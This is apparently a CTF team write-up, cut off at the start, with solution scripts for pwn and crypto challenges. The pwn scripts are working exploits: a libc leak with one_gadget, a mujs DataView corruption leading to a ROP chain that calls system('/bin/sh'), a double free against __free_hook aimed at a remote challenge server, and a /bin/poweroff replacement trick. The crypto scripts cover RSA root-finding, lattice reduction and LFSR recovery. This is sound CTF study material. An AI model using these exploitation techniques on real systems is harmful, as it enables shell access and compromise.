node_buf = p32(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p64(print_addr) + p64(stdout_addr) + p64(stdout_addr) + '\x00' * 8 + p64(0x31) + '\x00' * 0x18
config(0, 0, 1, 1, 0, node_buf)
print_info()
libc_base = get_address(sh, True, offset=-0x3ec760)
one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
node_buf2 = p32(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p64(libc_base + one_gadget[2]) + p64(stdout_addr) + p64(stdout_addr)
#gdb.attach(sh, "b realloc")
config(0, 0, 1, 1, 0, node_buf2)
print_info()
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(elf=get_file(), libc=get_libc())
sh.close()
if flag != "":
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
mujs
dv = new DataView(0x68);
dv2 = new DataView(0x68);
dv3 = new DataView(0x68);
dv4 = new DataView(0x68);
for (var i = 0; i < 8; i++)
dv.setUint8(i, 0x61);
dv3.setUint8(0x68, 0x81);
dv3.setUint8(0x69, 0x01);
for (var i = 0; i < 8; i++)
dv2.setUint8(i, 0x61);
delete(dv2);
delete(dv3);
//delete(dv4);
//delete(dv);
dv5 = new DataView(0x178);
dv5.setUint8(0x128, 0x51);
var t3 = dv5.getUint32(0x138) - 0x470a0
var t4 = dv5.getUint32(0x138 + 0x4)
dv5.setUint32(0x48, 0x71);
dv5.setUint32(0x50, 0x10);
dv5.setUint32(0x54, 0x1);
dv5.setUint32(0x58, t3 + 0x470a0);
dv5.setUint32(0x58 + 0x4, t4);
var t1 = dv5.getUint32(0x140) - 0x20960
var t2 = dv5.getUint32(0x140 + 0x4)
print(t1)
print(t2)
dv5.setUint32(0x68, t1 + 0x7780);
dv5.setUint32(0x68 + 0x4, t2);
dv5.setUint8(0x70, 0x68);
dv5.setUint32(0x78, t3 + 0x472a0);
dv5.setUint32(0x78 + 0x4, t4);
var t5 = dv4.getUint32(0) - 0x1ec6a0
var t6 = dv4.getUint32(0 + 4)
print(dv4.getLength())
print(t3)
print(t4)
print(t5)
print(t6)
dv5.setUint32(0x78, t5 + 0x1ef2e0);
dv5.setUint32(0x78 + 0x4, t6);
var t7 = dv4.getUint32(0) - 0x108
var t8 = dv4.getUint32(0 + 4)
dv5.setUint32(0x78, t7);
dv5.setUint32(0x78 + 0x4, t8);
var pop_rdi_addr = t5 + 0x26b72
var system_addr = t5 + 0x55410
var bin_sh_addr = t5 + 0x1b75aa
dv4.setUint32(0, pop_rdi_addr + 1)
dv4.setUint32(0 + 4, t6)
dv4.setUint32(8, pop_rdi_addr)
dv4.setUint32(8 + 4, t6)
dv4.setUint32(0x10, bin_sh_addr)
dv4.setUint32(0x10 + 4, t6)
dv4.setUint32(0x18, system_addr)
dv4.setUint32(0x18 + 4, t6)
//while (true);
kqueue
非预期
mv /bin /BIN && /BIN/mkdir /bin && /BIN/chmod 777 /bin && /BIN/echo "/BIN/cat /flag" > /bin/poweroff && /BIN/chmod 777 /bin/poweroff
exit
kqueue revenge
flag在附件里
happytree
用 malloc 和 free 写了一个树。先泄露 heap 地址,然后造一个 unsorted bin 泄露 libc 地址。然后直接 double free 打 __free_hook 即可。
from pwn import *
REMOTE = 1
LD_ = 0
if REMOTE:
p = remote("124.71.147.225",9999)
elif LD_:
p = process("./happytree",env={"LD_PRELOAD":"./libc.so.6"})
else:
p = process("./happytree")
libc = ELF("./libc.so.6")
menu = lambda x : p.sendlineafter("cmd>",str(x))
def add1(size):
menu(1)
p.sendlineafter("data:", str(size))
def add(size,con):
menu(1)
p.sendlineafter("data:", str(size))
p.sendafter("content:",con)
def delete(size):
menu(2)
p.sendlineafter("data:", str(size))
def show(size):
menu(3)
p.sendlineafter("data:", str(size))
for i in range(8):
add(0xf0+i,"wsnd")
for i in reversed(range(8)):
delete(0xf0+i)
for i in range(6):
add(0xf0+i,"a")
show(0xf0)
p.recvuntil("content: ")
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x12161
success("heap_base = "+hex(heap_base))
add(0xf6,'nmsl')
add(0xf7,"wsndwsnd")
show(0xf7)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x3ebca0
success("libc_base = "+hex(libc_base))
for i in reversed(range(8)):
delete(0xf0+i)
add1(0x100000)
add(0x63,'nmsl')
add(0x60,"wsnd")
delete(0x63)
add(0x63,'nmsl')
delete(0x63)
delete(0x60)
delete(0x100000)
add(0x20,'wsnd\x00\x00\x00\x00'+p64(0x12060+heap_base)+p64(0)*2)
delete(0x646e7377)
add(0x60,p64(libc_base+libc.sym["__free_hook"]-8))
add(0x61,p64(libc_base+libc.sym["__free_hook"]-8))
add(0x62,"/bin/sh\x00"+p64(libc_base+libc.sym["system"]))
delete(0x62)
p.interactive()
Crypto
large case
$假设e=d1*d2*d3 \quad d1,d2,d3分别是p-1,q-1,r-1因子$
$m 的后1024bit全部是0,拿掉后1024bit后,1024<len(m)<2048,可以把域转化为p*q下$
$M=m//2^{1024}$
$M^e\equiv c//2^{1024*e} \quad mod\quad p*q*r$
$M_{1}^{e}\equiv M^e \quad mod \quad p$
$M_{2}^{e}\equiv M^e \quad mod \quad q$
$可以求出M_{1}^{d1} \quad mod \quad p$
$可以求出M_{2}^{d2} \quad mod \quad q$
分别使用AMM算法求出所有的根之后,使用CRT依次遍历求出M
使用factordb分解,发现最小的第一组因子就是正确的
from Crypto.Util.number import *
import gmpy2
from libnum import *
import random
import math
from scipy.special import cbrt
import time
def onemod(e,q):
p=random.randint(1,q-1)
while(pow(p,(q-1)//e,q)==1):
p=random.randint(1,q)
return p
def AMM_rth(o,r,q):
print('start to calculate primitive root...')
start=time.time()
assert((q-1)%r==0)
p=onemod(r,q)
print ('p:%d'%p)
t=0
s=q-1
while(s%r==0):
s=s//r
t+=1
k=1
while((s*k+1)%r!=0):
k+=1
alp=(s*k+1)//r
print ('s:%d,t:%d r:%d alp:%d'%(s,t,r,alp))
a=pow(p,r**(t-1)*s,q)
b=pow(o,r*a-1,q)
c=pow(p,s,q)
h=1
for i in range(1,t-1):
d=pow(int(b),r**(t-1-i),q)
print ('d:%d'%d)
if d==1:
j=0
else:
j=(-math.log(d,a))%r
b=(b*(c**(r*j)))%q
h=(h*c**j)%q
c=(c*r)%q
result=(pow(o,alp,q)*h)
end=time.time()
print ('result:%d'%result)
print('Finish in {} seconds'.format(end-start))
return result
def ALL_Solution(m,q,rt,cq,e):
print('start to calculate all root...')
start=time.time()
mp=[]
for pr in rt:
r=(pr*m)%q
assert(pow(r,e,q)==cq)
mp.append(r)
end=time.time()
print('Finish in {} seconds'.format(end-start))
return mp
def ALL_ROOT2(r,q):
print('start to find all primitive root...')
start=time.time()
li=set()
while(len(li)<r):
p=pow(random.randint(1,q-1),(q-1)//r,q)
li.add(p)
end=time.time()
print('Finish in {} seconds'.format(end-start))
return li
if __name__=='__main__':
d1=757
d2=66553
d3=5156273
e=d1*d2*d3
c=2832775557487418816663494645849097066925967799754895979829784499040437385450603537732862576495758207240632734290947928291961063611897822688909447511260639429367768479378599532712621774918733304857247099714044615691877995534173849302353620399896455615474093581673774297730056975663792651743809514320379189748228186812362112753688073161375690508818356712739795492736743994105438575736577194329751372142329306630950863097761601196849158280502041616545429586870751042908365507050717385205371671658706357669408813112610215766159761927196639404951251535622349916877296956767883165696947955379829079278948514755758174884809479690995427980775293393456403529481055942899970158049070109142310832516606657100119207595631431023336544432679282722485978175459551109374822024850128128796213791820270973849303929674648894135672365776376696816104314090776423931007123128977218361110636927878232444348690591774581974226318856099862175526133892
c=c*invert(pow(2**1024,e,n),n)%n
c=c%(p*q)
cp=c%p
cq=c%q
D1=invert(e//d2//d3,(p-1))
D2=invert(e//d1//d3,(q-1))
m1=pow(c,D1,p)
m2=pow(c,D2,q)
mp=AMM_rth(m1,d1,p)
mq=AMM_rth(m2,d2,q)
rt1=ALL_ROOT2(d1,p)
rt2=ALL_ROOT2(d2,q)
amp=ALL_Solution(mp,p,rt1,cp,d1)
amq=ALL_Solution(mq,q,rt2,cq,d2)
for i in amp:
for j in amq:
res=CRT([i,j],[p,q])
m=long_to_bytes(res)
if b'CTF' in m:
print(m)
InverseProblem
放大A,b变为lwe问题
import numpy as np
def gravity(n,d=0.25):
A=np.zeros([n,n])
for i in range(n):
for j in range(n):
A[i,j]=d/n*(d**2+((i-j)/n)**2)**(-1.5)
return A
A=gravity(85)
A=A*10000000000000000000000000000
for i in range(85):
for j in range(85):
A[i][j]=int(A[i][j])
f=open("b.txt").readlines()
b=[]
for i in f:
b.append(eval(i.strip()))
b=np.array(b)
b=b*10000000000000000000000000000
for i in range(85):
b[i]=int(b[i])
M=[]
for i in range(85):
l=[]
l[:]=A[i][:]
l.append(0)
M.append(l)
l=[]
l[:]=b[:]
l.append(1000)
M.append(l)
M=matrix(QQ,M)
r=(M.LLL()[0])
r=matrix(QQ,r)
t=r*M**-1
for i in range(85):
print(-t[0][i],end=',')
Ez_Pager_Tiper
problem1 爆破seed2求mask2
problem2 爆破seed3永BM求所有的seed1和mask1,然后筛选一下即可
from Crypto.Util.number import *
from base64 import b64decode
from magic_box import *
from tqdm import tqdm
n1, n2 = 64, 12
passage = b"Dat"
seed2 = ''
ifile = open("MTk4NC0wNC0wMQ==_6d30.enc", "rb")
cipher1 = ifile.read()
for i in range(3):
num = cipher1[i] ^ passage[i]
# print(bin(num)[2:].zfill(8))
seed2 += bin(num)[2:].zfill(8)
# print(seed2)
# for mask2 in range(1<<12):
# lfsr2 = lfsr(int(seed2,2), mask2, n2)
# plain = b''
# for i in range(3,16):
# num = cipher1[i] ^ lfsr2.getrandbit(8)
# plain += long_to_bytes(num)
# try:
# if plain.decode().isprintable():
# print(plain, mask2)
# except:
# continue
mask2 = 2053
lfsr2 = lfsr(int(seed2,2), mask2, n2)
plain = b'Dat'
for i in range(3,len(cipher1)):
num = cipher1[i] ^ lfsr2.getrandbit(8)
plain += long_to_bytes(num)
# print(plain)
# print(b64decode(b'MTk4NC0xMi0yNQ=='))
ifile = open("MTk4NC0xMi0yNQ==_76ff.enc", "rb")
cipher2 = ifile.read()
cipher = ''
passage = b"Date: " + b64decode(b'MTk4NC0xMi0yNQ==')
for i in range(len(passage)):
num = cipher2[i] ^ passage[i]
cipher += bin(num)[2:].zfill(8)
# print(len(cipher))
# print(cipher)
# print(cipher2)
mask1 = 9223372036854775811
seed3 = 3054
num = "00000101111011000101010001011100011010000101000001011010100001000000011111100110101010110001000001010110101011011100111000000110"
lfsr1=lfsr(int(num[:64], 2), mask1, n1)
lfsr2=lfsr(seed3, mask2, n2)
lfsr2.getrandbit(64)
ciphergen = generator(lfsr1, lfsr2, 15193544052573546419)
plaintest = b'Date: 19'
for i in cipher2[8:]:
num = i ^ ciphergen.getrandbit(8)
plaintest += long_to_bytes(num)
print(plaintest)
from Crypto.Util.number import *
from tqdm import tqdm
class lfsr():
def __init__(self, seed, mask, length):
self.length_mask = 2 ** length - 1
self.mask = mask & self.length_mask
self.state = seed & self.length_mask
def next(self):
next_state = (self.state << 1) & self.length_mask
i = self.state & self.mask & self.length_mask
output = 0
while i != 0:
output ^^= (i & 1)
i = i >> 1
next_state ^^= output
self.state = next_state
return output
def getrandbit(self, nbit):
output = 0
for _ in range(nbit):
output = (output << 1) ^^ self.next()
return output
def BM(output):
F=GF(2)
r=[]
for i in output:
r.append(int(i))
x=[F(i) for i in r]
X=[]
for i in range(64):
s=[]
for j in range(64):
s.append(x[i+j])
X.append(s)
X=matrix(X)
S=[F(i) for i in r[-64:]]
S=matrix(S)
if(X.rank() != 64):
return 0
c=S*X**-1
mask=''
for i in c[0]:
mask+=str(i)
mask=(int(mask,2))
return mask
ciphertext = b'\x18\xff\xa57\xa65"\x00\xfd/\x8d\x06\xe7z\xa4\xe6\t$\xec\x94$`\xaalB\xb6\x90`\x9e\'7\x9f\xcca\xaa1\x96\x19\t\xa2\xb8U\xde\xc5\xa0\xc7\xd23\xcd\xa0\xafRHP\x90\x8a\xa9M\x17@\xef8:]\xe1\xdc\x10\xad\xdfI\x04=\x01\x82\x1a\xec\x1e\x19\xdaV\x95\xc1K\x86\xfdZ\x90O7r\xeeZCewY8\xf1\x80\x81\x16NC\x94\xb0\xa0<\xd5\xc9\x1a\xeb.\xf6\xaa\xbb\xa6\x9a<t\xce\xdcQ$\xfdK\x89v\xee\xe0\x9dc\x9b6\xe6\xf0\xc9\xb6[l\xd3\xdc\xf8\n\xb7\xc6\xf9^\x0eIr\'>\x1dD!\x83\xfd\xc6Q\xf9\xce\xee%\xa7l\xb9\xfc\xcc\xf9;\x0b\x04\xce\x07\x97\xae\xf5C\xa5\x96\xfeU\xe8\xfb\x06\x96\xe3Dr\x8a\xc8\xb7\xa0\xe4s\xe3\xac\x9dT\t\x0eL*Vys\x03\xbb\xf2$\xa8pR\x8c\xa8h\xf6\x04<I4@}\xe5\x12\x8d\x14\xbe\xe4\xb1\x86V`\xcf\x9bE\x8e\xf0m\xbd\xedP\xe3\xafo7\xbd\xb1\xb9R\x9a2*\xaabz@\xb2\xf9\xf59c\xf9\x13\xf12\x8b\xc2z\xda\xf4\x87\x130\xc2\x93\xf3\xce\x84\xe8q.\x01\xeec\xb1\x10X\xcd\x00\x91%\xb7|yW\xf2\xc4\xb3\x997\xc1\xb45\xe5)K \xfc\x93\x04\xee-\xf9\xc3\x06Js\xe1\tZ\x86=k8:\x17\x9e}\xb1$\xce\xaa\xbc\x05\x97d\x83c~\xf57\x02\x08\xa2\tHz\xecq\x07Y\xe6}\xf8\xf0\xaa\x00\x1e\x12f\xf5\xab\xf62u\x12\xf5\xcfx\xc3)B\xd4\xd1\x9dxX\x0b#\x9f\xf1\xa0"\xb9M\xe9\xcf\x17\xc9\\\xbf\xf3y\xb1E\xc0\xa1\x88\x83\x95\xa6\xc9\xde=Md\xaf\xb4\x14\x815;\x18X\x9bQ2\x86\xa0`x{\x18\xde\xean\xcd\xc3*y\x82\x8c\xe4l\x88\x96\xb7\x0e\x03u\xe7\xe8."!\xfb\xb1Bg\xea\xa2`\x99\xab\xa4d\xedA\x0e\x86\xd5\xaf5D\'\xcd3\xbf\xcd5\xb4\xc3^\xfe\x14t\x90\xf9\x01\x98\xd5~s\xdc\xa7\xb1\x8d\xf6\xd9\x92\xb9\xe0\x996?\x8f\\\x1d\xb2\x12\x97\xf6\x07;\xfaTL\x92.\xaf\x16$\xfa\x94\xcb0\xbf\x8a\xad](\xc6}K\xc87\xfc\xc9\xc6\xdb\x08\x99\x9f(<\x1e\x97\xe1\x00^\x13]\x16\xe13\xee\xebS1h\xdd\xe11n\x1a\xe6\x12\x01\xb5\x0c|\xf5\x8a\xbd=5S\xe4\xf9$\xf1\xedp\xce\x1f\x96.\x97\xe4;\x02 \x17&\xd7\xd9*\x1f\xa4u\xe6\xad\xfd\xbaIR\x1f\x1a=F\xbf\xf3\x07\x19!=\xf7\xd8/\xe4i\xc6+\x9c5^t\x7f\xb2\x06\xe8\xf2\xac=\x16\x00r\xdd\x7f\xe34w\xde)\x86\x82\xb6gj\xf4\xfa\x18Pd\xd9\x82\xcd\xda\xee\x8bv\xd1NKu\\\x04\xe2\xbbt\x94\x82\x11\xc9\x1d\xdd\xb1\xb5\x8c\x86\xbfg\xa8L\x1eI\xb4\xddF\x8b\xa7\xd1\x16\x9c\x80\x94UXS\x13\x91\xf8\xe6=\x15\x16\x9a,\x0b8\xd2\xfeE\xa04"\xaa1}\xc7\x93\x9f\xb2%p\xb4\x01\x17r*\xd5\xc6\xfd\xfb\xb0<\x18j\x86\xab\xe0\x17\xf2R\xdfZ\xc3Ty\xe9\xd2j\x8b\x15\t\xabrHwi~1K\x89\xebVZ\xec}\x1av\xc5\x90\xb7\xa5$k\xd3"\x05\xfa\xc6\x1d\xfe\xb5\x9e;#ig\xdd\xa3\x9b.[\x96\xf1r\x01D\xe7\xdeqkj%\x9cvU\xec\x04\xb0\xab\x9e4\x13\xd7\x07\xa8\xcarK<-\xd1x\xb7|\xdf\xc5c\x13R\xd9\x1b\xd8\xa0=F\xbc9\xf2\x8c\xfc\xe8KO\xb6bfv\xaf\xb3\x9c\xa4\x1f(\xc4O\xa9\x0f]x\x832\x89\xd9\xc77\x1fa0\xe4\xac\xa7AA\xc4\x14\x9cm\xd5\xf0\x02\xb4\x9c(ej\xdb\x88U\xa7!+\x83]N\xee\x8c\x87*\x84W\x12$\xfc\x0eEC\xcb\x14\x88\x1eEr\x12N\x8fY\xd6\x18\x8b^\x98z\xbf\x84\xc1\xc8!\x8a\x1a\xaaQ\x89aP\xadL\xa4w\xda\xb9WN\x90\xe1\x9e\xcf\x1fx\xc7\x84\xf4\x0f\x9a8Q\xcc-\xbasuc0\x988\xf8"\xecmFeI?\x13m1\x11D\xe3l\x0b\x16\xf7\xa4\x05[\xd0\xeac\x16\xc6\n`\xcf\xbcf\xda\xc6\xf8n\xbc\xea*\x857n\xb2\x91\x12#\xe0\xf9\x12\xc3\x83\x8f\xfb\x1b\xb2\xd8\xf6\x1fmwC\xaa\x8b\xaeV\xabQ\xd3\xe2\xd6\x1e\xf1u\xc5\xfd\x8a\xf7rw\'\x12\x95\x9dl:o\r\r\x13\xf9\x02\xab\'.{\xc0b\x9f\xc1.\xde\xeb\xce\xf1Cd\xbf\xdfOAMi\xc3\x96bhC\xc7\xa6\x1ch\x06X\xed\xafR\xda\x80\xee \x1c=\x92\xf9&\x8b\xbf\x7f\xf1^k[\x94\xd26C\xfe\x1fY16\xc8Q\x9f7`\xc1\xf8D_\xef\xbb$L>R)\xef\xd7\xf5\r\x91\x17@\x8dZ\xa0\x81\x8a<F+\x8d\xd5\n5/\x10\x0ed\xb4\xc1\xc0\xb8a\xe5\x81\x85}\x0f2\x90\xa4\xaeg\xb7\xe8#\xe85h"?\x90\x99\x7f\xe46\xf7y\xe1o\x1e5\xe6o\xda?!\xeb\xc2\x98\xcf\x98\xb0\x15\x01]E\xa5V\x032\xaa\x16\x83K*\xe3$\xcb\xfc\xe6\xb4\x8f\xa2\xa7\x900\x04G\xd8\x95\x98$\x9fN~\xb1\xa7\x0c\x8bGd\xa6\xa7\xe0F\xdd\xa2\xfbU\x9bE\xdc\x025\x1e\xfe\xc5v#\xb1Ft\xc1\x9c\x909\xd9\xb8\xe1h\xc1G*\x02c\xe5\xc7\x91q\x86/\xab\xfaS\xb9Tk\x90\xcc\x07\xb1\xa3E\x11e\x95fw\x02\xbfF\xb7j\x82\r\x92hD\x92\'FD\xb9\x9b\x0c\xc4%\xb6>:\x1cZ \xc7\x1b\xa9\x15h[\xff?\x88\xcd\xbb\xe5\xf6\xb3\xb6B\xac\xda\xcd\xa7h\x81 \xcd\xeeu@\xef\x92!\xe2Vr+\x1d\xa6\x83Z\xdb\xb7\x1a\xd7#$)\xf1\x1f\x82\xdd\x80A\x94W\xf4\xa1\xe7J$\xda\x02\xd4\xb6\xe5\x84\xbegH\xb9\xc2\xe3\x82\xc5\xfd\xb1\xe7!\xeb\xe0\xd1J\x94\x04\x7f\x81\xee\xafn\xe3\x0e;\x17\xb6\x18\x9e;\xca\xb6`\x89\xd0\'\x87\xff\xcc \xf4yW#*j\x00ad\x9f.5/\xfc\tx1\xa6\xf7V.]\xfa\xec\xc9\x93\x87\x9a;\xb4\xe0\x0eC\x98<5\x14a\xb1c\xaa\x91\x08O\xbaIz*Y\xf0\t\x8e\x96\x92\xa8\x0b\xeb\xa7\xdep\xa2zl\xd6_\x05%\x96\xda\x9e"\x80\xeb\xf2bc\xfb\t\x1a\xe2h\xd1\x00tb|M\xf6\xd7\xc4.\xb5\xb1\xe3a\xa1\x96\x08\x9f\xa6:\xa8\xccouN^#fq\x03\xcan\x8cRJD6&\n\xda\xe0T\xf5\x18\xfcp\xcd\x8f`\xdcS\x10\x00;\xd2\xb2\x14\xbd\xe4xa\x88v\x03p\x83\xdeL\xb0\xa0\xe8D\x04\xdd~\xa0\xacR\xc6 \xe0\x83t\xbf\xbf\x1d#\xc4`\xbe\xc6\xd7\xf9Z\x08\x88Tm\x81\xd6f*\xdc\x13\x0e\xc7\xae-\xadSmQ\x02y\xa4.\xbe\x8b\xf4\xe7\x9c\xbd\xdc5\xc3\x98{Qw\xba\xeb\xf5\xc6jMy\xcaj\xd5\x01L8<c\xf0k\xd6p\xe7\x1cz\xffW72\xd3>Q\xe1\xab\xc3\x87tTW\xfdb\x88\x07Xu\xf8V\x92\x8e-\xffG\x80j\xd0/\x0e\xe1?W\x8f\xe7\xd2A\x80L\x19d\xce\xd0\xd4]\x00\x92\xde\xb9\xb3|\xda\x13mLQ_4\xbb1\xd3w\xa3f&\xd4=\xd6~/=\x83U\xb6W\xc7\x95\x95\x05\xcb\xe3\xde\xc1\x15\xc9\x9bB\xce\tH\\z\xc1\xf3c\xc1v\xca\xbd\x06,\xea\n\x03\x1b\x12!C\xefj\x97\x96K\x07O\xa9\x98\xca\t\x1e\xd9\xc5\x98=\x9cq\x80\xd0\xba?`\x14\x91\x8c\xa9\xab\x83\\\xa6\xb5>zq\xed\xc68\x0b\xba\xed\xda\xb2N\xfbI\xde\x8d\xb7\x1fu\xce\xf0[D\x9a\x8cW\xea\xd4\xebGz}\x81\xd4\xf4\'N\\\xceW\x96:E\x06\xed\xd3\x06\xf8\x18d\x9e\x0edW\xdcb\xe1\xea\x1c+I\xf8\xdc\xd4\xda\\r~\x96\xb9?yd\xd9\xb7}\xfb\x9ek\x85\xa84h\xf9\x8b\'(\xa9\xb4S\x87\xc7\x87\xa7\xf1\xdaIy\x95D\xfe\xe3\x90\xf0\x08\xf3\xfc\x00\x8e\x81\xc2k\xb8a3\xc1}@\x8d\\\xf9T\xfc\xb0J\xeb\x8f\x99\xc9~\x95_\x14\xdde\x1c\xaf\xbeG\xd8\xdc\x99))\xb5\x8f\xdd\xdc\x06O~(\x0c\xa1\x1d\xa5c4\xf9=~Z\xc2\xea5G\xed\x10\x85S\x00~\x0c*\x14$\xcb\x0b\x08$0\x89\x1e\xd6Qq\x81\x18_\xb0\xc9o\x81,_\x9c\xcfi\xb7\x86\xf1\xbd\xa8\xa2N\x84@~\xaf.\x9f\x89\xbd/\xc3n\xcd\xf1\xc0\x83\xbaQ\xe1,\x9c6"p]\xb5\xae\x835\xd1\xb6m\xe7M0&q\xb3\x91S\xd0o\xdbF\xbc<\x17{eP6\xc3c\x7fR\x9a\xacWd3?\xb6joQ\x1d\xb2_\xc1\x9d`\xb8\x08!\x97\xc3z3Y_\xb8@\x88\xecc\r\xc1\xb7y\x80'
ans = []
cipher = '01011100100111101101000101010010100111000001010100010011001110011100010100011011101000000011011111010101010101111001011011010011'
for seed3 in (range(1<<12)):
lfsr3 = lfsr(seed3, 2053, 12)
num = lfsr3.getrandbit(128)
num ^^= int(cipher,2)
num = bin(num)[2:].zfill(128)
check2 = num[-64:]
mask = BM(num)
if mask == 0:
continue
lfsr1 = lfsr(int(num[:64], 2), mask, 64)
check1 = bin(lfsr1.getrandbit(64))[2:].zfill(64)
# print(check1, check2)
if(check1 == check2):
ans.append((seed3, mask, num))
def check(seed1, mask1, seed3, mask2, cipher):
lfsr1 = lfsr(seed1, mask1, 64)
lfsr2 = lfsr(seed3, mask2, 12)
lfsr2.getrandbit(64)
plain = b'Date: 19'
for i in cipher:
num = i ^^ lfsr1.getrandbit(8) ^^ lfsr2.getrandbit(8)
plain += long_to_bytes(num)
if plain == b'Date: 1984-12-25\r\n':
print(plain)
return True
return False
for (seed3, mask, num) in tqdm(ans):
if(check(int(num[:64], 2), mask, seed3, 2053, ciphertext[8:18])):
print(mask, seed3, num)
# break